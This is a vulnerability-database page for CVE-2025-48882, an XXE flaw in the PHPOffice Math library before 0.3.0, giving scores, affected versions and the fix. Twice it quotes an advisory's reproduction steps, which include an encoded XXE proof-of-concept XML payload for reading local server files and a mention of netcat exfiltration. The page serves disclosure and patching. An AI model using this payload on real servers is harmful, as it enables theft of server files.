Every CVE Search/ Get API key

CVE-2025-48882

PHPOffice Math allows XXE when processing an XML file in the MathML format

8.7 HighFix available

PHPOffice Math is a library that provides a set of classes to manipulate different formula file formats. Prior to version 0.3.0, loading XML data using the standard libxml extension and the LIBXML_DTDLOAD flag without additional filtration, leads to XXE. Version 0.3.0 fixes the vulnerability.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.50%Up 0.5 points since May 31, 2025
90%50%10%1%

What each source reports

CVE List Score used 8.7

PHPOffice Math allows XXE when processing an XML file in the MathML format

PHPOffice Math is a library that provides a set of classes to manipulate different formula file formats. Prior to version 0.3.0, loading XML data using the standard libxml extension and the LIBXML_DTDLOAD flag without additional filtration, leads to XXE. Version 0.3.0 fixes the vulnerability.

Record
CVE-2025-48882
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-611
Updated
2026-11-02
EUVDEUVD-2025-16521 8.7

PHPOffice Math is a library that provides a set of classes to manipulate different formula file formats. Prior to version 0.3.0, loading XML data using the standard libxml extension and the LIBXML_DTDLOAD flag without additional filtration, leads to XXE. Version 0.3.0 fixes the vulnerability.

Record
EUVD-2025-16521
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-42hm-pq2f-3r7m 8.7

PHPOffice Math allows XXE when processing an XML file in the MathML format

Product: Math Version: 0.2.0 CWE-ID: CWE-611: Improper Restriction of XML External Entity Reference CVSS vector v.4.0: 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N) CVSS vector v.3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) Description: An attacker can create a special XML file, during which it processed, external entities are loaded, and it’s possible to read local server files.
Impact: Local server files reading Vulnerable component: The loadXML function with the unsafe LIBXML_DTDLOAD flag, the MathML class Exploitation conditions: The vulnerability applies only to reading a file in the MathML format. Mitigation: If there is no option to refuse using the LIBXML_DTDLOAD flag, it’s recommended to filter external entities through the implementation of the custom external entity loader function. Researcher: Aleksandr Zhurnakov (Positive Technologies)

Research

Zero-day vulnerability was discovered in the Math library in the detailed process of the XXE vulnerability research in PHP. Loading XML data, using the standard libxml extension and the LIBXML_DTDLOAD flag without additional filtration, leads to XXE.

Below are steps to reproduce the vulnerability.

  1. Preparation:
  • The payload was tested on the PHP versions >= 8.1.
  • The composer manager is used to install the latest version of the Math library.
  • PHP has to be configurated with Zlib support.
  • The necessary requirements for the Math library must be installed.
  • The netcat utility is used for demonstration exfiltration.
  1. Make math directory and then moving into it.
mkdir math && cd math
  1. Install the latest actual version of the library (Figure 1).
composer require phpoffice/math

Figure 1. Installing the library <img width="630" alt="fig2" src="https://github.com/user-attachments/assets/bb0c6781-4f5a-411c-970d-9402e652ad87" />

  1. Create poc.xml file (Listing 1):

Listing 1. Creating poc.xml

xml     
<?xml version="1.0" encoding="UTF-8"?>     <!DOCTYPE x SYSTEM 
"php://filter/convert.base64-
decode/zlib.inflate/resource=data:,7Ztdb9owFIbv%2bRVZJ9armNjOZ2k7QUaL%2bRYO2nqFUn
BFNQaMptP272cnNFuTsBbSskg1iATZzvGxn/ccX3A4fdfoecS7UsrK1A98hV5Rr9FVjlaz1UmlcnM7D9i
6MlkufrB1AK79O2bqKltMllMWt96KL6ADwci7sJ4Yu0vr9/tlwKbqan27CPzrOXvevFGrbRvOGIseaCa7
TAxok1x44xahXzQEcdKPKZPevap3RZw920I0VscWGLlU1efPsy0c5cbV1AoI7ZuOMCZW12nkcP9Q2%2bQ
ObBNmL6ajg8s6xJqmJTrq5NIArX6zVk8Zcwwt4fPuLvHnbeBSvpdIQ6g93MvUv3CHqKNrmtEW4EYmCr5g
DT5QzyNWE4x6xO1/aqQmgMhGYgaVDFUnScKltbFnaJoKHRuHK0L1pIkuaYselMe9cPUqRmm5C51u00kkh
y1S3aBougkl7e4d6RGaTYeSehdCjAG/O/p%2bYfKyQsoLmgdlmsFYQFDjh6GWJyGE0ZfMX08EZtwNTdAY
ud7nLcksnwppA2UnqpCzgyDo1QadAU3vLOQZ82EHMxAi0KVcq7rzas5xD6AQoeqkYkgk02abukkJ/z%2b
Nvkj%2bjUy16Ba5d/S8anhBLwt44EgGkoFkIBlIBpKBZCAZSAaSgWQgGUgGkoFkIBlIBpKBZCAZSAaSgW
QgGUgGxWOwW2nF7kt%2by7/Kb3ag2GUTUgBvXAAxiKxt4Is3sB4WniVrOvhwzB0CXerg5GN9esGRQv7Rg
QdMmMO9sIwtc/sIJUOCsY4ee7f7FIWu2Si4euKan8wg58nFsEIXxYGntgZqMog3Z2FrgPhgyzIOlsmijo
wqwb0jyMqMoGEbarqdOpP/iqFISMkSVFG1Z5p8f3OK%2bxAZ7gClpgUPg70rq0T2RIkcup/0newQ7NbcU
Xv/DPl4LL/N7hdfn2dp07pmd8v79YSdVVgwqcyWd8HC/8aOzkunf6r%2b2c8bpSxK/6uPmlf%2br/nSny
rHcduH99iqKiz7HwLxTLMgEM0QWUDjb3ji8NdHPslZmV%2bqR%2bfH56Xyxni1VGbV0m8=" …
Record
GHSA-42hm-pq2f-3r7m
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-611
Updated
2026-11-02
NVD 8.7

PHPOffice Math is a library that provides a set of classes to manipulate different formula file formats. Prior to version 0.3.0, loading XML data using the standard libxml extension and the LIBXML_DTDLOAD flag without additional filtration, leads to XXE. Version 0.3.0 fixes the vulnerability.

Record
CVE-2025-48882
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-611
Updated
2026-11-02
OSV 8.7

PHPOffice Math allows XXE when processing an XML file in the MathML format

PHPOffice Math is a library that provides a set of classes to manipulate different formula file formats. Prior to version 0.3.0, loading XML data using the standard libxml extension and the LIBXML_DTDLOAD flag without additional filtration, leads to XXE. Version 0.3.0 fixes the vulnerability.

Record
CVE-2025-48882
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-611
Updated
2026-11-02
OSVGHSA-42hm-pq2f-3r7m 8.7

PHPOffice Math allows XXE when processing an XML file in the MathML format

Product: Math Version: 0.2.0 CWE-ID: CWE-611: Improper Restriction of XML External Entity Reference CVSS vector v.4.0: 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N) CVSS vector v.3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) Description: An attacker can create a special XML file, during which it processed, external entities are loaded, and it’s possible to read local server files.
Impact: Local server files reading Vulnerable component: The loadXML function with the unsafe LIBXML_DTDLOAD flag, the MathML class Exploitation conditions: The vulnerability applies only to reading a file in the MathML format. Mitigation: If there is no option to refuse using the LIBXML_DTDLOAD flag, it’s recommended to filter external entities through the implementation of the custom external entity loader function. Researcher: Aleksandr Zhurnakov (Positive Technologies)

Research

Zero-day vulnerability was discovered in the Math library in the detailed process of the XXE vulnerability research in PHP. Loading XML data, using the standard libxml extension and the LIBXML_DTDLOAD flag without additional filtration, leads to XXE.

Below are steps to reproduce the vulnerability.

  1. Preparation:
  • The payload was tested on the PHP versions >= 8.1.
  • The composer manager is used to install the latest version of the Math library.
  • PHP has to be configurated with Zlib support.
  • The necessary requirements for the Math library must be installed.
  • The netcat utility is used for demonstration exfiltration.
  1. Make math directory and then moving into it.
mkdir math && cd math
  1. Install the latest actual version of the library (Figure 1).
composer require phpoffice/math

Figure 1. Installing the library <img width="630" alt="fig2" src="https://github.com/user-attachments/assets/bb0c6781-4f5a-411c-970d-9402e652ad87" />

  1. Create poc.xml file (Listing 1):

Listing 1. Creating poc.xml

xml     
<?xml version="1.0" encoding="UTF-8"?>     <!DOCTYPE x SYSTEM 
"php://filter/convert.base64-
decode/zlib.inflate/resource=data:,7Ztdb9owFIbv%2bRVZJ9armNjOZ2k7QUaL%2bRYO2nqFUn
BFNQaMptP272cnNFuTsBbSskg1iATZzvGxn/ccX3A4fdfoecS7UsrK1A98hV5Rr9FVjlaz1UmlcnM7D9i
6MlkufrB1AK79O2bqKltMllMWt96KL6ADwci7sJ4Yu0vr9/tlwKbqan27CPzrOXvevFGrbRvOGIseaCa7
TAxok1x44xahXzQEcdKPKZPevap3RZw920I0VscWGLlU1efPsy0c5cbV1AoI7ZuOMCZW12nkcP9Q2%2bQ
ObBNmL6ajg8s6xJqmJTrq5NIArX6zVk8Zcwwt4fPuLvHnbeBSvpdIQ6g93MvUv3CHqKNrmtEW4EYmCr5g
DT5QzyNWE4x6xO1/aqQmgMhGYgaVDFUnScKltbFnaJoKHRuHK0L1pIkuaYselMe9cPUqRmm5C51u00kkh
y1S3aBougkl7e4d6RGaTYeSehdCjAG/O/p%2bYfKyQsoLmgdlmsFYQFDjh6GWJyGE0ZfMX08EZtwNTdAY
ud7nLcksnwppA2UnqpCzgyDo1QadAU3vLOQZ82EHMxAi0KVcq7rzas5xD6AQoeqkYkgk02abukkJ/z%2b
Nvkj%2bjUy16Ba5d/S8anhBLwt44EgGkoFkIBlIBpKBZCAZSAaSgWQgGUgGkoFkIBlIBpKBZCAZSAaSgW
QgGUgGxWOwW2nF7kt%2by7/Kb3ag2GUTUgBvXAAxiKxt4Is3sB4WniVrOvhwzB0CXerg5GN9esGRQv7Rg
QdMmMO9sIwtc/sIJUOCsY4ee7f7FIWu2Si4euKan8wg58nFsEIXxYGntgZqMog3Z2FrgPhgyzIOlsmijo
wqwb0jyMqMoGEbarqdOpP/iqFISMkSVFG1Z5p8f3OK%2bxAZ7gClpgUPg70rq0T2RIkcup/0newQ7NbcU
Xv/DPl4LL/N7hdfn2dp07pmd8v79YSdVVgwqcyWd8HC/8aOzkunf6r%2b2c8bpSxK/6uPmlf%2br/nSny
rHcduH99iqKiz7HwLxTLMgEM0QWUDjb3ji8NdHPslZmV%2bqR%2bfH56Xyxni1VGbV0m8=" …
Record
GHSA-42hm-pq2f-3r7m
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-611
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
phpoffice/math
Packagist
 through 0.2.0
0.3.0
phpoffice/math
Packagist
 before 0.3.0, plus listed versions
0.1.00.2.0
0.3.0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-48882 is a high vulnerability (CVSS 8.7) in Phpoffice Math, published May 29, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.50%, the 42nd percentile. Fixed in phpoffice/math 0.3.0.

References

This page doesn't list everything

Left out here: the rest of 2 source descriptions. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open